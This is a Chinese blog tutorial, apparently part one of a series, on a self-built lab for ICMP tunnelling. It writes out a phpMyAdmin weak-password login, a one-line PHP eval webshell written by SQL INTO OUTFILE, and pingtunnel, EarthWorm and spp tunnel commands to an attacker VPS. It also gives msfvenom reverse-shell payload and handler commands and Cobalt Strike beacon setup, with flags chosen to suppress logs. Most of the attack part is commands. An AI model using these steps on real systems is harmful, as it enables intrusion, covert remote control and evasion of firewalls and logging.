内网穿透之icmp隧道搭建+上线CS+环境场景搭建(一)

简介: 内网穿透之icmp隧道搭建+上线CS+环境场景搭建

前言

在后渗透中内网隧道是必不可少的,在能够TCP出网的情况下搭建隧道是最容易的,使用frp即稳定又方便,搭建几级代理都不是问题。但是也有很多TCP不出网的情况,在这种场景下搭建隧道就要另寻门路了。为了方便学习内网隧道技术,我在公司的内网环境搭建了基于windows系统的苛刻的隧道环境,其实很简单,都是windows自带防火墙的一些规则策略。通过各种尝试,终于完成此环境(不知道有没有别的问题),现在把过程分享给大家~路过的师傅都来看看呀,有不正确的地方求教教我^^

dac7a134590d8baec0bce2ecee147c2a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

通过环境搭建,满足以下条件:

192.168.3.76(kali)模拟公网vp/s地址,WEB服务器1(windows server2019)模拟公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台WIndows内网服务器,Web服务器可以访问该机器远程桌面。当我们拿到web服务器1的shell之后发现只能使用icmp协议访问公网vp/s(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器进行后续攻击操作。

windows环境:

系统:windows server 2019(WEB服务器)、windows server2008 R2(内网服务器)

WEB服务器1使用phpstudy搭建web服务,防火墙配置策略能访问内网服务器。隧道打通之后可以用来访问内网服务器远程桌面测试。

工具:phpstudy

用来开启web服务,web服务直接使用phpstudy默认功能即可(phpstudy探针+phpmyadmin弱口令)。WEB服务器防火墙入站规则仅开启80端口TCP,用来攻击获取shell。

一、获取WEB服务器shell

1 phpstudy探针得到网站路径

C:/phpStudy/WWW

cdc3013c62bd4db6a846a8fe18869b54_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

2 phpmyadmin弱口令root/root

http://192.168.3.88/phpmyadmin

通过phpstudy开启的服务,使用弱口令连接phpmyadmin

22aca2ab3ce7b03a7439406e54575ea0_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

3 写入webshell

show global variables like '%secure_file_priv%';
NULL   不允许导入或导出
/tmp   只允许在 /tmp 目录导入导出
空     不限制目录

这里是空值

df61285356681b0f063baec4032a6744_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

写入webshell

select '<?php @eval($_POST[ch4nge]);?>' into outfile 'C:/phpStudy/WWW/ch4nge.php';

3b2bcb80cf2e306b94df9b342fb4f3d6_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

4 蚁剑连接

9c8b1ff2317883474f439d7fd687ed79_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

二、ew+pingtunnel组合建立socks5隧道

ew

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。

https://github.com/idlefire/ew

pingtunnel

pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件

由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密

https://github.com/esrrhs/pingtunnel

1 v/ps-kali执行

./ew_for_linux64 -s rcsocks -l 10080 -e 8898
./pingtunnel -type server

将8898收到的请求转发至10080端口

de0994c280fcf417dda15df9acf24442_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

f1e125c24effec9f113616837f916cda_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

2 WEB服务器执行pingtunnel

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:8898 -sock5 -1 -noprint 1 -nolog 1

e21274c77bb44173f903a6d61d59378d_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

68a63bd9c1aeffe15bca4b5877efb480_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

3 WEB服务器执行ew

ew.exe -s rssocks -d 127.0.0.1 -e 9999

037ca68ae7cbd8846bac0acb4b3c2dbd_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

ew回显OK,隧道已打通!

cbe0cf6a125dfa8a9a431137e51e111e_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

4 连接代理

使用proxifier设置代理

36d4114e6cbc73a47bf70448a8c90598_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

远程桌面测试

08afb8b042fd1cb56dfe644bbce88f79_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

远程桌面测试

2b5479842c1268fe97273213f54d5837_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

2b3f54c01a2d9ec5a7a8b46d73664e1d_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

a34cd49c38d7c374e70da0c928c899ed_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

三、pingtunnel上线MSF&CS

1 pingtunnel下载链接

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件

由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密

https://github.com/esrrhs/pingtunnel/releases

2 v/ps服务端开启

./pingtunnel -type server       ##开启服务器模式

回显0连接

2875d0fbcaaf70133936a414507e484c_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

3 客户端开启

上传客户端

bffb2bae90c56cf53cb7043f9d827a4b_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1

36fc25df08327c443502a29ecb7576f0_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

客户端本地监听9999端口 ,将监听到的连接通过icmpserver发送到Linsten_ip:7777端口

执行后,kali有回显

d48c7e3c42a74b48228f07f9093f57c8_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

4 MSF上线

制作木马,木马的回连地址为127.0.0.1:9999,运行上线MSF

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o ch4nge.exe

14e4964dd61d1762af8fb6b64b2ae857_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

监听

msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.3.76; set lport 7777; exploit -j; "

574b40f43c2556e99495bc574f66d6ed_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

把木马ch4nge.exe从蚁剑上传到靶机,运行

d257b55a5e2e3cfcdfc77e8cf7336e52_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

0dab39544eebbae2ba545a9cd8b4048c_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

5 CS上线

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1

建立监听127.0.0.1:9999和192.168.3.76:7777

feb219172c696cc0af4291a13a27d825_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

对ICMP-127的监听生成木马ch4nge2.exe,传到靶机运行

66e9b3bca864eb8280c0a59130f7398e_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

CS监听上线

38bbc664d499d669b625e82fe9de8804_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

91f475d1f37d518254ddb72b8f6505c6_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

四、spp搭建socks5隧道

反向代理用于进入目标内网,正向代理可配合远控工具进行上线

功能
支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
协议和类型可以自由组合
外部代理协议和内部转发协议可以自由组合
支持shadowsock/s插件,spp-shadowsock/s-plugin,spp-shadowsock/s-plugin-android

1 下载

https://github.com/esrrhs/spp
https://github.com/esrrhs/spp/releases

2 V/PS执行

./spp -type server -proto ricmp -listen 0.0.0.0

7a82eef6d63939dae943e6236a4f8319_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

3 WEB服务器执行

spp.exe -name "test" -type reverse_socks5_client -server v/ps -fromaddr :8080 -proxyproto tcp -proto ricmp
spp.exe -name "test" -type reverse_socks5_client -server 192.168.3.76 -fromaddr :8080 -proxyproto tcp -proto ricmp

ab885372eca3e70ccdb7888d9ec4a508_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

V/PS回显

bd7953f35e10f38d7281b1b7c116dabf_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

f6ea3266b944f53f531206dffbb11fb0_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

成功搭建隧道!

4 设置代理

socks5:v/ps:8080

192.168.3.76:8080

91376422a15936991b66e003f69789d2_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

远程连接内网服务器

413663fcd46691842d75d76f7dcf494d_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

ba4a0e3ec421d87886c76f04f0849d5b_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

结束!

五、spp上线CS

1 V/PS执行

./spp -type server -proto ricmp -listen 0.0.0.0

974a30402ac38a7d9a6c6739005d199d_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

2 WEB服务器执行

spp -name "test" -type proxy_client -server v/ps -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp
spp -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp
# -nolog 1不输出日志,-noprint 1不打印内容
spp.exe -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1

3e12eda27e3413b2afcbd478b2e8ec05_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

3 CS监听上线

建立监听127.0.0.1:8082和192.168.3.76:8081

41be879b71582e00b607d90b49c48ea5_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

对spp-127的监听生成木马ch4nge3.exe,传到靶机运行

CS监听上线

612d653d9339eef90475266eefadc50f_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

V/PS回显

b8d1e95994e37693b78621584c7d9a07_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

wireshark捕获数据

ceb5031b3faf49bd2d204543243d0f98_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg


相关文章
|
网络协议 Go
通过Pingtunnel搭建ICMP隧道上线
假如实战环境中,其他协议都不能出网,唯一的突破口为ICMP协议(也就是ping出网),那么可利用ICMP隧道达到上线
473 0
|
网络协议 Shell 网络安全
利用icmpsh建立icmp隧道反弹shell
利用icmpsh建立icmp隧道反弹shell
98 0
|
网络协议 安全 测试技术
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(三)
内网穿透之icmp隧道搭建+上线CS+环境场景搭建
213 0
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(三)
|
网络协议 Shell 网络安全
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(二)
内网穿透之icmp隧道搭建+上线CS+环境场景搭建
320 0
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(二)
|
域名解析 网络协议 安全
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
717 0
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
|
安全 Shell Python
[web安全]ICMP隧道小记
[web安全]ICMP隧道小记
128 0
[web安全]ICMP隧道小记
|
9月前
|
网络协议 网络架构
网络协议与攻击模拟-05-ICMP协议
网络协议与攻击模拟-05-ICMP协议
59 0
|
10月前
|
网络架构
ICMP协议(Internet控制消息协议)
本文详细的介绍ICMP协议,内含详细的实例解析,该文你值得拥有。
|
10月前
|
Linux C语言 C++
Linux ICMP协议实现:C/C++编程指南
ICMP(Internet Control Message Protocol)是网络通信中的重要协议,用于在IP网络中传递错误消息和诊断信息。在Linux系统中,我们可以使用C/C++编程语言来实现基本的ICMP功能,例如发送ICMP回显请求(Ping)和解析ICMP消息。本文将带您深入了解C/C++实现的ICMP协议,包括套接字编程、构造ICMP报文、发送和接收ICMP消息等,以及提供实际的代码示例。
532 1